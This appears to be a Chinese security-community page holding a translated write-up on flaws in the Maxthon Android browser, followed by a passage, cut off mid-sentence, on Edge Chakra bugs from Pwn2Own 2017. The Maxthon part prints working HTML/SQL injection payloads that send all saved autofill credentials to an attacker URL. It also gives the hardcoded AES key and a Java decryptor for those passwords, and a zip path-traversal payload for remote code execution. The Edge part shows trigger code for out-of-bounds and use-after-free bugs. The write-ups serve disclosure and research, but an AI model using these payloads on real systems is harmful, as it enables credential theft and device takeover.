v2_1.put("password", this.c);
v0.insert("mxautofill", null, v2_1);
}
else {
v1.moveToFirst();
v1.getColumnIndexOrThrow("host");
v2 = "update mxautofill set username = \'" + this.b + "\',passwrd = \'" + this.c + "\' where host = \'" + this.a + "\'";
h.f();
v0.execSQL(v2);
}
}
### 通过 SQL 注入篡改数据库，在所有保存过的域下触发登录页面 UXSS
考虑到我们能够注入的 SQL 语句是一个 UPDATE 语句，作用是更改一个域下的填充信息，可以想到最简单的利用方法便是操纵 UPDATE
语句篡改所有保存的自动填充信息，配合设计好的数据来利用登录页面 UXSS 漏洞。这个漏洞可以让我们在每个受害者常用的登录页面注入
JavaScript（假设受害者使用自动填充功能）。
我构建了以下 HTML 页面，通过调用 `catchform` 方法来利用 SQL
漏洞。注意我们利用漏洞必须尝试使用浏览器之前存储的信息来自动填充信息，因为 SQL 注入与 UPDATE 语句相关联，而不是最初的 INSERT
语句。因此攻击者可能选择流行的 URL 作为 `documentURI` 的值。
<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"loginsqltest@gmail.com\'\'-alert(\'\'SqlTest:\'\'+document.domain)-\'\'\'--"},{"id":"password","name":"password","value":"fakepassword"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>
当用户访问恶意页面时，会提示用户“save your account？”，并且用户必须在 SQL 注入漏洞被利用之前点击 “Yes”。
—— 一些用户交互
然后浏览器执行以下 SQL 语句。请注意，我们在用户名字段注入我们的 JavaScript，然后使用 SQL 注入注释掉其它的 SQL 语句，包括
WHERE 子语句，以便将更新限制为只有一行。
update mxautofill set username = 'loginsqltest@gmail.com''-alert(''SqlTest:''+document.domain)-'''-- ',password = '3tJIh6TbL87pyKZJOCaZag%3D%3D' where host = 'accounts.google.com'
检测设备上的 SQLite 数据库我们看到我们已经成功更新了 mxautofill 表中的所有行。
—— 本地 SQLite 数据库已被篡改
下一次，当受害者访问存储自动填充信息的域名之一的登录页面时，我们的 JavaScript 代码通过 WebView 的 `loadUrl` 方法执行。
javascript:mx_form_fill('loginsqltest@gmail.com'-alert('SqlTest:'+document.domain)-'','fakepassword')
—— 当受害者浏览 Twitter 或者 Google 的登录页面时 ，JS payload 得以触发
### 使用 SQL 注入和登录页面 UXSS 提取敏感数据
如果我们要从`mxautofill`表远程提取所有的用户名和加密密码怎么办？我构造了以下 HTML 页面利用 SQL
漏洞实现了目标。基本上，我们将使用内部查询构建一个 JavaScript 字符串，其中包括存储在表中的所有主机，用户名和加密过的密码。然后我们使用登录页面
UXSS 漏洞和 AJAX 从设备窃取信息。
<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"\'\');var request=new XMLHttpRequest();dataToSteal=\'\'\'||(SELECT GROUP_CONCAT(host||\':\'||username||\':\'||password) from mxautofill)||\'\'\';request.open(\'\'GET\'\',\'\'http://d3adend.org/c.php?c=\'\'+dataToSteal,false);request.send();//\'--"},{"id":"password","name":"password","value":"fakepassword"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>
当用户访问恶意页面时，会提示用户“sava your account？”，而且 利用SQL 注入漏洞之前用户必须点击“Yes”。
—— 点击“Yes”
浏览器接下来会执行以下 SQL 语句。
update mxautofill set username = ''');var request=new XMLHttpRequest();dataToSteal='''||(SELECT GROUP_CONCAT(host||':'||username||':'||password) from mxautofill)||''';request.open(''GET'',''http://d3adend.org/c.php?c=''+dataToSteal,false);request.send();//'--',password = '3tJIh6TbL87pyKZJOCaZag%3D%3D' where host = 'accounts.google.com'
mxautofill 表中的所有行都已经在客户端数据库中更新。
—— 所有记录都均被修改
当受害者访问有自动填充信息的域登录页面时，我们的 JavaScript 代码得以执行。在实际使用过程中， `dataToSteal`
变量将包含真实的账户凭据。
javascript:mx_form_fill('');var request=new XMLHttpRequest(); dataToSteal='acccount_1_hostname:account_1_username:account_1_encrypted_password, acccount_2_hostname:account_2_username:account_2_encrypted_password,etc.'; request.open('GET','http://d3adend.org/c.php?c='+dataToSteal,false);request.send();//'','fakepassword')
—— 不可见的漏洞利用得以执行
——
域名，用户名和加密的密码通过 AJAX 发送到攻击者控制的服务器。
因此，我们现在有了来自受害者的 mxautofill 表的主机名，用户名和加密密码，但我们需要解密密钥。为了获取加密密钥，我仅使用了一个自定义的
Xposed 模块在两个不同的设备上来 hook 一个与自动填充功能相关的加密方法调用。在两个设备上， Maxthon
使用了相同的硬编码密钥（“eu3o4[r04cml4eir”）进行密码存储。
几个月后，我抱着一丝希望搜索了 “eu3o4[r04cml4eir”，却发现了 Exatel 的一些有趣的关于 windows 版本的 Maxthon
的[隐私安全研究](https://exatel.pl/advisory/maxthonreporten.pdf)。他们的结论是“整个用户的网站浏览历史会到达位于北京的
Maxthon 作者的服务器，还包括所有输入的 Google 搜索记录”。浏览器的桌面版本使用相同的加密密钥加密用户的浏览历史，正如我在 Android
版本所发现的那样。开发者团队在面对用户时并[不承认任何错误](http://forum.maxthon.com/index.php?/topic/18513-maxthon-permission-violation/)， CEO 随后发表[声明](http://news.softpedia.com/news/maxthon-browser-collects-sensitive-data-even-if-users-opt-out-506327.shtml)。
“Exatel 还报告说，Maxthon 将 URL 发送回其服务器。正如所有 URL 的安全检查工作，Maxthon 的云安全扫描模块（cloud
secure）检测用户所访问的网站的安全性。通过执行 URL 安全检测，Maxthon 向其服务器发送 URL
以检测网站是否安全。由于这些安全检查的存在，自2005年以来我们已经阻止了用户访问数百万的虚假网站和恶意网站。在我们的最新版本中，我们将添加一个选项，可供用户关闭扫描模块。”
> (原文)
>
> “Exatel also reported that Maxthon sends URLs back to its server. Just as
> all URL security checks work, Maxthon’s cloud security scanner module (cloud
> secure) checks the safety of the websites our users visit. By implementing
> this URL security check, Maxthon sends URLs to its server to check if the
> website is safe or not. As a result of these security checks, we have
> prevented our users from visiting millions of fake and malicious websites
> since 2005. In our latest version, we will add an option for users to turn
> off the scanner.”
我不确定我相信这个功能实际上实际上是一个“云安全扫描器”，像 CEO 声称，但不管其意图，通过 HTTP
使用硬编码密钥发送加密的浏览器历史纪录可不是个好主意。在 Android 的版本的浏览器中，我还发现了类似的功能在
`com.mx.browser.statistics.z` 类中。这里需要注意，以下代码将加密的“统计”数据发送到同一个 URL ，并且像 Exatel
的研究中显示的那样使用相同的加密密钥。
final class z extends AsyncTask {
z(PlayCampaignReceiver arg1, String arg2) {
this.b = arg1;
this.a = arg2;
super();
}
private Void a() {
JSONObject v0 = new JSONObject();
try {
v0.put("l", ch.r);
v0.put("sv", ch.e);
v0.put("cv", ch.l);
v0.put("pn", ch.g);
v0.put("d", ch.e());
v0.put("pt", "gp_install");
v0.put("m", "main");
JSONObject v1 = new JSONObject();
v1.put("imei", ch.m);
v1.put("refer", this.a);
v1.put("aid", ch.n);
v1.put("model", ch.p);
v1.put("mac", ch.u);
v0.put("data", v1);
new StringBuilder("before = ").append(v0).toString();
String v0_3 = Uri.encode(new String(Base64.encode(a.a(v0.toString(), "eu3o4[r04cml4eir"), 2), "UTF-8"));
new StringBuilder("after urlencode =").append(v0_3).toString();
y v1_1 = new y();
v0_3 = "http://g.dcs.maxthon.com/mx4/enc?keyid=default&data=" + v0_3;
new StringBuilder("url=").append(v0_3).append(";response = ").append(v1_1.a(v0_3, 3).getStatusLine().getStatusCode()).toString();
}
反正已经跑题了。那就干脆把通过客户端 SQL 注入和登陆页面 UXSS 漏洞获取的密码给破解了吧。在写出加密算法，加密模式和密钥之后，我写了以下简单的
Java 程序。
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class MaxDecrypt {
public static void main(String[] args) throws Exception {
String rawUserDataArg = args[0];
System.out.println("");
if(rawUserDataArg != null) {
String[] rawUserDataArray = rawUserDataArg.split(",");
for(String rawUserData : rawUserDataArray) {
String host = rawUserData.split(":")[0];
String username = rawUserData.split(":")[1];
String encryptedPassword = rawUserData.split(":")[2];
String decryptedPassword = decrypt(encryptedPassword);
System.out.println("====================================");
System.out.println("Host: " + host);
System.out.println("Username: " + username);
System.out.println("Password: " + decryptedPassword);
}
System.out.println("====================================");
}
}
public static String decrypt(String ciphertext) throws Exception {
SecretKeySpec sks = new SecretKeySpec("eu3o4[r04cml4eir".getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding");
Base64.Decoder decoder = Base64.getDecoder();
byte[] ciphertextBytes = decoder.decode(ciphertext);
cipher.init(Cipher.DECRYPT_MODE, sks);
byte[] plaintextBytes = cipher.doFinal(ciphertextBytes);
return new String(plaintextBytes);
}
}
—— 解密获取到的凭据
### 任意文件写入漏洞 - 越过远程执行代码的障碍
一般来说，在 Android 操作系统中，非特权应用的任意文件写入漏洞很难变成远程代码执行。
1） 应用程序主要 dex 代码，或 OAT 进程的输出由系统用户所有，因此在正常情况下不应该覆盖此代码。
2） 应用程序的存储 ELF 共享对象的 lib 目录，实际上是一个链接到所有者为系统用户目录，所以正常情况下不太可能覆盖这些代码。
话虽如此，在很多情况下，任意文件写入漏洞可以很容易地变成远程代码执行漏洞。
1）目标应用程序通过
[DexClassLoader](https://developer.android.com/reference/dalvik/system/DexClassLoader.html)
类执行动态类加载，并且可以覆盖存储的dex代码。
2）目标应用程序不正确存储其ELF共享对象文件，使得这些文件不属于系统用户。 [Jake Van
Dyke](https://www.nowsecure.com/blog/2015/08/10/world-writable-code-is-bad-mmmmkay-4/) 和 [rotlogix](http://rotlogix.com/2015/10/11/mercury-browser-for-android-rce-redux/) 都提到了 SO 全局可写的应用范例，这允许根据情况进行本地或远程利用。
3） 目标应用程序以 [系统用户权限运行](https://www.nowsecure.com/blog/2015/06/16/remote-code-execution-as-system-user-on-samsung-phones/)。
4） 目标应用程序是 [multidex 应用](https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/)，且不在使用 ART 运行环境的设备上运行。
我最初确定这些漏洞时我不相信这些条件有那条成立，但几个月后，当一个较新版本的发布时，我注意到一些新的软件包被添加到代码库，包括
`com.igexin.`。这显然是一个被赛门铁克标记为[不需要的应用程序](https://www.symantec.com/security_response/writeup.jsp?docid=2015-032606-5519-99&tabid=2)的广告库，其绑定了一些会收集用户信息的
Android 应用，而且应用会把这些信息发送到服务器。事实证明，这个广告使用了 `DexClassLoader`
类执行加密代码的动态库加载，所以我们可以利用这个功能，通过任意文件写入漏洞来实现远程代码执行。
在新版本的浏览器中，我注意到 `/data/data/com.mx.browser/files` 目录中看起来很奇怪的新文件，如
`tdata_qiz011`，`tdata_qiz011.dex`，`tdata_rqS304`和 `tdata_rqS304.dex`。
注意虽然文件名看起来貌似随机生成，在多个设备上安装应用程序后，我注意到文件名不是根据设备特定生成的。
—— 包含优化 dex 文件的可疑文件
—— 未知的文件格式和优化的 dex 文件
我决定调查 `tdata_rqS304` 里面有什么东西。我怀疑这是一个加密的 JAR/APK 文件，但我不确定。
—— 加密过的 APK/JAR ？
执行动态类加载的代码位于 `com.igexin.push.extension.a` 类中。代码似乎加载了一个文件，比如 `tdata_rqS04`
，解密到一个 JAR 文件，如 `tdata_reS304.jar` ，从 JAR 文件中加载一个类，创建一个类的实例（调用构造函数），然后删除原 JAR
文件（使其逆向工程中隐藏）。我猜测 `com.igexin.a.a.a.a.a` 是解密方法。
public boolean a(Context arg10, String arg11, String arg12, String arg13, String arg14) {
Class v0_1;
File v2 = new File(arg11);
File v3 = new File(arg11 + ".jar");
File v4 = new File(arg10.getFilesDir().getAbsolutePath() + "/" + arg14 + ".dex");
this.a(v2, v3, arg13);
if(v3.exists()) {
try {
DexClassLoader v2_1 = new DexClassLoader(v3.getAbsolutePath(), arg10.getFilesDir().getAbsolutePath(), null, arg10.getClassLoader());
try {
v0_1 = v2_1.loadClass(arg12);
}
catch(Exception v2_2) {
}
}
catch(Throwable v0) {
goto label_74;
}
try {
v3.delete();
v4.exists();
if(v0_1 == null) {
boolean v0_2 = false;
return v0_2;
}
Object v0_3 = v0_1.newInstance();
...
public void a(File arg10, File arg11, String arg12) {
BufferedOutputStream v1_5;
Throwable v8;
int v1_1;
FileInputStream v2;
BufferedOutputStream v0_2;
FileOutputStream v2_1;
FileInputStream v3;
FileOutputStream v1 = null;
try {
v3 = new FileInputStream(arg10);
}
catch(Throwable v0) {
v2_1 = v1;
v3 = ((FileInputStream)v1);
goto label_45;
}
catch(Exception v0_1) {
v0_2 = ((BufferedOutputStream)v1);
v2 = ((FileInputStream)v1);
goto label_22;
}
try {
v2_1 = new FileOutputStream(arg11);
}
catch(Throwable v0) {
v2_1 = v1;
goto label_45;
}
catch(Exception v0_1) {
v0_2 = ((BufferedOutputStream)v1);
v2 = v3;
goto label_22;
}
try {
v0_2 = new BufferedOutputStream(((OutputStream)v2_1));
v1_1 = 1024;
}
catch(Throwable v0) {
goto label_45;
}
catch(Exception v0_1) {
v0_2 = ((BufferedOutputStream)v1_1);
v1 = v2_1;
v2 = v3;
goto label_22;
}
try {
byte[] v1_4 = new byte[v1_1];
while(true) {
int v4 = v3.read(v1_4);
if(v4 == -1) {
break;
}
byte[] v5 = new byte[v4];
System.arraycopy(v1_4, 0, v5, 0, v4);
v0_2.write(com.igexin.a.a.a.a.a(v5, arg12));
}
`com.igenxin.a.a.a.a` 类使用本地加密算法执行解密。输入验证至关重要（"key is fail!"）。
package com.igexin.a.a.a;
public class a {
public static void a(int[] arg2, int arg3, int arg4) {
int v0 = arg2[arg3];
arg2[arg3] = arg2[arg4];
arg2[arg4] = v0;
}
public static boolean a(byte[] arg6) {
boolean v0_1;
int v3 = arg6.length;
if(v3 256) {
v0_1 = false;
}
else {
int v2 = 0;
int v0 = 0;
while(v2 3) {
v0_1 = false;
return v0_1;
}
}
++v2;
}
v0_1 = true;
}
return v0_1;
}
public static byte[] a(byte[] arg1, String arg2) {
return a.a(arg1, arg2.getBytes());
}
public static byte[] a(byte[] arg7, byte[] arg8) {
int v1 = 0;
if(!a.a(arg8)) {
throw new IllegalArgumentException("key is fail!");
}
if(arg7.length <= 0) {
throw new IllegalArgumentException("data is fail!");
}
int[] v3 = new int[256];
int v0;
for(v0 = 0; v0 < v3.length; ++v0) {
v3[v0] = v0;
}
v0 = 0;
int v2 = 0;
while(v0 < v3.length) {
v2 = (v2 + v3[v0] + (arg8[v0 % arg8.length] & 255)) % 256;
a.a(v3, v0, v2);
++v0;
}
byte[] v4 = new byte[arg7.length];
v0 = 0;
v2 = 0;
while(v1 < v4.length) {
v0 = (v0 + 1) % 256;
v2 = (v2 + v3[v0]) % 256;
a.a(v3, v0, v2);
v4[v1] = ((byte)(v3[(v3[v0] + v3[v2]) % 256] ^ arg7[v1]));
++v1;
}
return v4;
}
public static byte[] b(byte[] arg1, String arg2) {
return a.a(arg1, arg2.getBytes());
}
}
所以现在我们知道如何揭秘 JAR 文件了，但是我们需要知道加密密钥。我又通过 Xposed
使用了模块动态分析来却id那个每个文件使用了哪个加密密钥以及加载了哪个类。以下是我从 `tdata_rqS304`
文件中获取到的信息。我还在不同设备验证了加密密钥不是针对特定设备的。例如，加密库使用“5f8286ee3424bed2b71f66d996b247b8”作为密钥来解密
`tdata_rqS304` 文件。
Method Caller: com.igexin.push.extension.a@420bfd48
Argument Types: com.igexin.sdk.PushService, java.lang.String, java.lang.String, java.lang.String, java.lang.String
Argument 0: com.igexin.sdk.PushService@420435b8
Argument 1: /data/data/com.mx.browser/files/tdata_rqS304
Argument 2: com.igexin.push.extension.distribution.basic.stub.PushExtension
Argument 3: 5f8286ee3424bed2b71f66d996b247b8
Argument 4: tdata_rqS304
现在我们用于了解密文件并检查 JAR 文件的所有信息。以下 Java 程序将揭秘 `tdata_rqS304` 文件。
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
public class MaxDexDecrypt {
public static void main(String[] args) throws Exception {
String ciphertextFilename = "tdata_rqS304";
String plaintextFilename = "tdata_rqS304.jar";
String keyString = "5f8286ee3424bed2b71f66d996b247b8";
File ciphertextFile = new File(ciphertextFilename);
File plaintextFile = new File(plaintextFilename);
decryptFile(ciphertextFile, plaintextFile, keyString);
}
public static void decryptFile(File ciphertextFile, File plaintextFile, String keyString) {
BufferedOutputStream v1_5;
Throwable v8;
int v1_1;
FileInputStream v2;
BufferedOutputStream v0_2;
FileOutputStream v2_1;
FileInputStream v3;
FileOutputStream v1 = null;
try {
v3 = new FileInputStream(ciphertextFile);
v2_1 = new FileOutputStream(plaintextFile);
v0_2 = new BufferedOutputStream(((OutputStream)v2_1));
v1_1 = 1024;
byte[] v1_4 = new byte[v1_1];
while(true) {
int v4 = v3.read(v1_4);
if(v4 == -1) {
break;
}
byte[] v5 = new byte[v4];
System.arraycopy(v1_4, 0, v5, 0, v4);
v0_2.write(decrypt(v5, keyString));
}
v3.close();
v0_2.flush();
v0_2.close();
v2_1.close();
v3.close();
v0_2.close();
v2_1.close();
}
catch(Exception v0_1) {
}
}
public static void junk(int[] arg2, int arg3, int arg4) {
int v0 = arg2[arg3];
arg2[arg3] = arg2[arg4];
arg2[arg4] = v0;
}
public static byte[] decrypt(byte[] ciphertextBytes, String keyString) {
return decrypt(ciphertextBytes, keyString.getBytes());
}
public static byte[] decrypt(byte[] ciphertextBytes, byte[] keyBytes) {
int v1 = 0;
int[] v3 = new int[256];
int v0;
for(v0 = 0; v0 < v3.length; ++v0) {
v3[v0] = v0;
}
v0 = 0;
int v2 = 0;
while(v0 < v3.length) {
v2 = (v2 + v3[v0] + (keyBytes[v0 % keyBytes.length] & 255)) % 256;
junk(v3, v0, v2);
++v0;
}
byte[] v4 = new byte[ciphertextBytes.length];
v0 = 0;
v2 = 0;
while(v1 < v4.length) {
v0 = (v0 + 1) % 256;
v2 = (v2 + v3[v0]) % 256;
junk(v3, v0, v2);
v4[v1] = ((byte)(v3[(v3[v0] + v3[v2]) % 256] ^ ciphertextBytes[v1]));
++v1;
}
return v4;
}
}
解密有效！
—— 解密成功，只是个有一些 dex 代码的 JAR 文件
—— 现在我们可以反编译代码了
### 利用任意文件写入三 - 远程代码执行
这时，所有要点聚在一起，我意识到通过任意文件写入漏洞远程执行代码是可行的。
1） 创建我们的 Java 代码然后将它编译至 APK 文件。
2） 使用 igexin 的超级 XOR 加密算法加密我们的 APK 文件，使用“5f8286ee3424bed2b71f66d996b247b8”
作为我们的加密密钥。
3） 创建一个 zip 文件，用来覆盖浏览器的 `tdata_tqS304` 文件（加密的 JAR 文件）。
4）欺骗受害者浏览一个能触发 `installWebApp` 方法的恶意页面，这会使受害者的浏览器下载并解压缩我们的zip文件。 此时，受害者的
`tdata_rqS304` 文件将替换为我们制作的文件。
5）下次浏览器再次启动时（可能在移动设备重新启动后），我们的代码将被解密，加载然后执行。
广告库从 `tdata_rqS304` 文件加载
`com.igexin.push.extension.distribution.basic.stub.PushExtension`
类，像前面说过的，我们要做的是创建一个带有以下类的 APK。
package com.igexin.push.extension.distribution.basic.stub;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import android.util.Log;
public class PushExtension {
public PushExtension() {
Log.wtf("MAX", "Java code execution!");
try {
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("id");
BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
String s = null;
while ((s = stdInput.readLine()) != null) {
Log.wtf("MAX", s);
}
}
catch(Exception e) { }
}
}
接下来，我们需要加密APK文件。 我们实际上可以重复使用之前开发的解密程序来执行，已经提供了本地加密算法`（dec（cipher_text，key）==
plaintext / dec（plaintext，key）== cipher_text）`。
...
public static void main(String[] args) throws Exception {
String ciphertextFilename = "exploit/MaxJunkExploit.apk";
String plaintextFilename = "exploit/tdata_rqS304";
String keyString = "5f8286ee3424bed2b71f66d996b247b8";
File ciphertextFile = new File(ciphertextFilename);
File plaintextFile = new File(plaintextFilename);
decryptFile(ciphertextFile, plaintextFile, keyString);
}
...
同理，我们使用 Python 代码来构建 zip 文件。
import zipfile
import sys
if __name__ == "__main__":
try:
with open("tdata_rqS304", "r") as f:
binary = f.read()
zipFile = zipfile.ZipFile("maxFileWriteToRce9313.zip", "a", zipfile.ZIP_DEFLATED)
zipFile.writestr("../../../../../data/data/com.mx.browser/files/tdata_rqS304", binary)
zipFile.close()
except IOError as e:
raise e
然后我们制作调用 `installWebApp` 方法的 HTML 页面。
<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteToRce9313.zip");
</script>
</body>
</html>
此时如果受害者使用 Maxthon 浏览器访问恶意页面，那么他们的加密 JAR 文件（tdata_rqS304)将被我们制作的 JAR 文件覆盖。
—— 校验 “webapp” 已安装
我们的 Java payload 将在下次浏览器重新启动时解密并执行。执行类加载的代码会尝试使用 `IPushExtension`
接口转换对象，该操作会失败，但是我们的代码在构造函数中已经执行，并且类加载已经代码正常处理该异常，所以浏览器工作正常不会崩溃。
—— 执行远程代码完毕
### 漏洞披露流程
* 2/12/16 – 向厂商公开任意文件写入/远程代码执行漏洞。
* 2/14/16 – 向厂商公开登录页 UXSS 漏洞和 SQL 注入漏洞。
* 2/15/16 – 厂商回应说所有问题已修复。提供了本地服务器上的新 APK 的链接。
* 2/15/16 – 要求供应商直接发送修复后的 APK ，或直接在公网服务器上提供访问。
* 2/18/16 – 厂商提供新 APK 的公网链接。
* 2/18/16 – 通知厂商修复程序未正确解决所有问题 (仅解决部分问题)。
* 2/19/16 – 厂商声明他们正在研究。
* 3/8/16 – 询问厂商的状态。
* 3/9/16 – 厂商声明所有问题已修复，但不提供新的 APK 进行审计。
* 5/9/16 – 厂商在 Google Play 上发布了补丁（“bugs fixed”）。
* 5/30/16 – 通知厂商补丁并未正确解决所谓问题（此时只解决了两个问题）。
* 5/31/16 – 厂商表示我的评论正在接受审核（自动回复）。没有后续回应。
* 7/6/16 – 向厂商查询状态，没有回应。
* 11/5/16 – 再一次向厂商查询状态，没有回应。
这时厂商已经不再做出响应，而且只有一些问题被修复。
* 旧设备（<4.2）上的原创代码执行漏洞 - 并未修复。厂商标记为“不再修复”。
* 任意文件写入，可以导致任何设备远程代码执行 - 没有修复。
* 登录页 UXSS - 看起来是修复了（一些域名验证，但是没有对输出进行编码）
* SQL 注入 - 看起来修复了（使用参数化的 SQL 语句）。
其中一个补丁试图根据域名限制哪些网页可以使用 `installWebApp` 方法。
@JavascriptInterface public void installWebApp(String arg4) {
URI v0 = URI.create(arg4);
if((v0.getHost().endsWith("maxthon.com")) || (v0.getHost().endsWith("maxthon.cn"))) {
String v0_1 = x.a(arg4);
p.a(arg4, "/sdcard/webapp/" + v0_1, null);
y.b("/sdcard/webapp/" + v0_1);
d.b().a();
Toast.makeText(this.mContext, "webapp installed", 1).show();
}
}
以前的代码有多个问题，我已多次向厂商指出。
1） 从 thisisevilmaxthon.com （以 “maxthon.com”结尾）提供的 JavaScript 仍然可以直接利用任意文件写入漏洞。
2） 该 zip 文件仍然可以通过 HTTP 提供，因此内网攻击者可以强制通过 HTTP 从 maxthon.com 下载一个 zip 文件，然后
MiTM（中间人工具）劫持流量，以间接利用任意文件写入漏洞。
### 结论
* 远程 SQL 注入对移动应用是一件事，但是鉴于 SQLite 的限制，提取数据方面可能存在一些问题。
* 移动应用仍在通过 JavaScript 接口暴露有趣的行为，但是我们将不得不花费更多时间逆向目标应用程序以找出安全隐患
* 通过动态类加载进行混淆使用可能会导致意想不到的安全隐患
* * * | 社区文章 |
# 【技术分享】Pwn2Own 2017 再现上帝之手
##### 译文声明
本文是翻译文章，文章来源：腾讯安全湛泸实验室
原文地址：[https://media.weibo.cn/article?id=2309404105928097034074&jumpfrom=weibocom](https://media.weibo.cn/article?id=2309404105928097034074&jumpfrom=weibocom)
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x背景**
今年3月结束的Pwn2own比赛中，湛泸实验室1秒内攻破史上最高难度的Edge浏览器，拿到首个单项最高分14分。此次比赛湛泸实验室准备了多个Edge漏洞和windows10内核提权漏洞，相关漏洞信息已经报告给微软。
**本文粗略介绍一下Pwn2Own比赛中湛泸实验室所用到的两个Edge漏洞，以及漏洞利用中的DVE（Data-Virtualization
Execute）技术。** 这两个Edge漏洞我们实验室都完成了利用，在利用的细节上和之前IE上的cve-2014-6332有着异曲同工之妙。即
**DVE技术的基本思想：程序的一切皆是数据，通过修改程序的关键数据结构来控制程序执行，从而绕过所有Mitigation机制。**
下面笔者将较为细致地分析Pwn2own比赛的漏洞成因和利用过程，现在就开始Pwn2Own的旅程吧。Let’s go!!!!
**x01 漏洞简介**
去年，湛泸实验室发现Chakra引擎中ArrayBuffer对象的两个神洞，一个越界访问(CVE:2017-0234)和一个释放后重用(CVE:2017-0236)。这两个漏洞的特殊之处在于漏洞的触发路径都在chakra引擎生成的jit
代码中。下面，笔者就和大家分享这两个漏洞的相关细节。
**x2漏洞成因**
先看下面这段JS代码：
function write(begin,end,step,num)
{
for(var i=begin;i<end;i+=step) view[i]=num;
}
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,1851880825);
其中，执行write(0,0×4000,1,0x1234)这句JS，会让chakra引擎针对write函数中的for循环生成Jit
code。JIT生成的循环代码调用入口在chakra!Js::InterpreterStackFrame::DoLoopBodyStart，我们对这个函数下断，即可跟踪到write函数中for循环对应的Jit
code。
JIT经过一些列准备工作，最终来到JITLoop代码部分：
看一下JIT对这个for循环生成的汇编代码：
代码稍微行数多一点，分开解释分析，for循环头部是获取for循环相关的参数
R12=0x0001000000010000 //这里是取出for循环的step=0x0001000000010000
R13=0x000100006e617579 //这里是取出view数组要赋予的值0x000100006e617579
R14=0x0001000040000010 //这里是取出for循环的end=0x0001000040000010
R15=0x000100003000000e //这里是取出for循环的start=0x000100003000000e
在这里可以发现每一个数值的高四位有一个1，是用来区分这个值是对象还是int类型的
1 表示数据int，0 表示obj
0:010>
rax=0000000000000001 rbx=00000186e9c00000 rcx=00000186e9800dc0
rdx=0000000000010000 rsi=00000186e95d68c4 rdi=00000036be1fb900
rip=00000187e9f00122 rsp=00000036be1fb5d0 rbp=00000036be1fb670
r8=000000003000000e r9=0000000040000010 r10=000100006e617579
r11=0000000000000001 r12=000100006e617579 r13=000100006e617579
r14=0001000040000010 r15=000100003000000e
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mov dword ptr [rbx+r8*4],r12d ds:00000187`a9c00038=????????
最终代码运行到此处，rbx是buffer对象的内存基地址，r8是数组索引0x3000000e，r12给数组赋予的值，整个过程没有检测索引的范围造成了数组越界。当然漏洞不仅仅这一个，仔细推敲上述过程，我们可以发现，JIT在使用buffer对象的缓冲区域时并没有检测buffer对象是否被分离释放，这就是我们发现的第二个漏洞。可能细心点的读者都发现了，写入的地址不可访问，都是?????????，那为什么漏洞会利用成功而且不崩溃呢？请看下文。
**0x03 漏洞利用**
只有crash是远远不够的，还记得yuange曾经说过：”exp的价值远远大于poc”。下面笔者将分析一下两个漏洞的利用技术，两个漏洞成因极为相似，所以在利用技术上也很相近。
触发UAF漏洞主要代码如下：
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var worker = new Worker('uaf1.js');
worker.postMessage(buffer,[buffer]);
worker.terminate();
主要逻辑：
1）申请一个ArrayBuffer类型的数组变量buffer对象
2）紧接着新建Uint32Array类型的数组对象view,引用上面的buffer对象
3）通过调用postMessage(buffer,[buffer])和terminate()会将buffer对象申请的缓冲区内存彻底释放,这里是触发UAF的关键。work.postMessage移交buffer对象所有权,
terminate()结束worker线程的时候会释放掉buffer这个对象原来申请的内存。
4）然而在类型数组view中却仍然保留着buffer对象申请的缓冲区内存的引用，并且引用时没有做检查,所以造成UAF 漏洞。.
越界代码因为ArrayBuffer对象申请4G虚拟空间，占位内存必须在ArrayBuffer的4G空间之后，这样两个漏洞利用就只有占位空间不一样，利用TypedArray写内存的索引不一样。UAF漏洞占位在原有buffer对象申请的缓冲区空间，OOB漏洞占位在其后4G空间。这样OOB漏洞写占位内存时，索引需要增加0x100000000/4=0x40000000，其它都相同。
**1\. 详细分析**
我们来跟踪一下UAF的漏洞利用相关代码。
1）首先，申请一个ArrayBuffer类型的数组变量buffer，找到这个buffer变量，看一下内存结构
rcx是ArrayBuffer对象，0x00000186-e9c00000是buffer对象申请的缓冲区内存，0x00000000-00010000
是buffer长度
下面是buffer的内存部分大小0x10000
2）紧接着新建Uint32Array类型的变量view,引用上面的buffer
然后write(0,0×4000,1,0x1234); //大循环操作内存,让chakra引擎生成JIT代码
使用view对象操作ArraryBuffer的内存,看看被修改的buffer对象缓冲区这块内存，
内存布局如下
3）通过调用postMessage(buffer,[buffer])和terminate()会将buffer的缓冲区内存空间彻底释放。执行terminate之后释放了buffer对象的缓冲区内存，buffer指针被置空，长度值为0，（0x00000001-00000000实际代表长度为零）。
worker.postMessage(buffer,[buffer]);
worker.terminate();当worker调用postMessage的时候会发生Detach操作
会调用 Js::ArrayBufferDetachedStateBase *__fastcall
Js::ArrayBuffer::DetachAndGetState—>
chakra!Js::ArrayBuffer::ClearParentsLength 把对象的长度清掉
此时还没有清掉内存，后续函数会把内存释放掉。
4）然而在变量view 中却仍然保留着buffer对象缓冲区的引用，所以造成UAF 漏洞。
下面内存是view对象的，此时View对buffer对象申请的缓冲区的引用仍然存在，也就是地址并没有清零
此时我们看一下内存情况，buffer对象申请的缓冲区是不能被访问的
已经被系统给回收了。
这样我们再占位这内存后，利用view对象去操作这块内存就造成了UAF漏洞。
**2\. 漏洞利用 &Pwn**
漏洞原因已经比较清晰了，but, How to Pwn?继续分析，
利用技术要点：
1）UAF漏洞在释放buffer对象的缓冲区后，紧接着通过分配Array
